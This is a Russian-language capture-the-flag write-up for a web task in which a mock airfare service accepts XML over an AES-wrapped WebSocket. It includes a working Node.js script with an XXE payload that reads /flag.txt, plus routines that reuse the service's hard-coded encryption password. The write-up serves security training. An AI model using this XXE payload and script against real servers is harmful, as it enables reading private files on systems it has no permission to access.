# WEB-1 Оценка: 10 ## Описание В данном задании необходимо выполнить исследование веб-приложения и найти уязвимости, позволяющие прочитать файлы на сервере. Ответом на задание служит флаг, лежащий в файле /flag.txt в файловой системе. ## Решение Веб-приложение имитирует сервис по вычислению стоимости авиабилетов (Рис. 1). ![](https://i.imgur.com/EnnC1AO.jpg) Рис. 1 Сервис использует протокол WebSocket для запросов расчета цены. По протоколу отправляются данные в формате json, дополнительно шифрованные методом AES, реализованным на клиенте и сервере. Поскольку seed для генерации ключа шифрования склеивается с IV и шифротекстом, можно без труда шифровать и расшифровывать данные при общении с сервером. В посылаемых данных присутствует параметр format со значением json. Можно пробовать его изменять на другие форматы данных и понять, что формат `.xml` также принимается. Далее находим уязвимость XXE, позволяющую читать локальные файлы, с помощью которой читаем флаг `/flag.txt`. Пример реализации: ```javascript const ws = require('ws'); const CryptoJS = require("crypto-js"); payload = `<!DOCTYPE r [<!ENTITY sp SYSTEM "file:///flag.txt">]><data><countries></countries><startdate></startdate><enddate></enddate><resttype></resttype><r>&sp;</r></data>` const MASTER_PASSWORD = 'InsureYourTravel' function encrypt(data) { var G = CryptoJS.lib.WordArray.random(16); key = CryptoJS.PBKDF2(MASTER_PASSWORD, G, { keySize: 8, iterations: 100 }); var iv = CryptoJS.lib.WordArray.random(16); var I = CryptoJS.AES.encrypt(data, key, { iv: iv, padding: CryptoJS.pad.Pkcs7, mode: CryptoJS.mode.CBC }); return CryptoJS.enc.Base64.stringify(G.concat(iv).concat(I.ciphertext)) } function toBase64String(words){ return CryptoJS.enc.Base64.stringify(words); } function decrypt(data) { data = CryptoJS.enc.Base64.parse(data) var G = CryptoJS.lib.WordArray.create(data.words.slice(0, 4)) var iv = CryptoJS.lib.WordArray.create(data.words.slice(4, 8)) var ciphertext = CryptoJS.lib.WordArray.create(data.words.slice(8)) key = CryptoJS.PBKDF2(MASTER_PASSWORD, G, { keySize: 8, iterations: 100 }); ciphertext = toBase64String(ciphertext); var D = CryptoJS.AES.decrypt(ciphertext, key, { iv: iv }).toString(CryptoJS.enc.Utf8) return D } function decrypted(body) { let { data } = body; if (!data) return data; return JSON.parse(decrypt(data)); } function encrypted(body) { return {'data': encrypt(JSON.stringify(body))}; } const socket = new ws.WebSocket('ws://127.0.0.1:8080'); socket.addEventListener('message', (event) => { if (event.data == 'connected') return; if (JSON.parse(event.data).error) { console.log(JSON.parse(event.data).error); return; } let dec = decrypted(JSON.parse(event.data)); console.log(dec); }); socket.addEventListener('open', (event) => { let enc = JSON.stringify(encrypted({format: 'xml', data: payload})); socket.send(enc); }); ```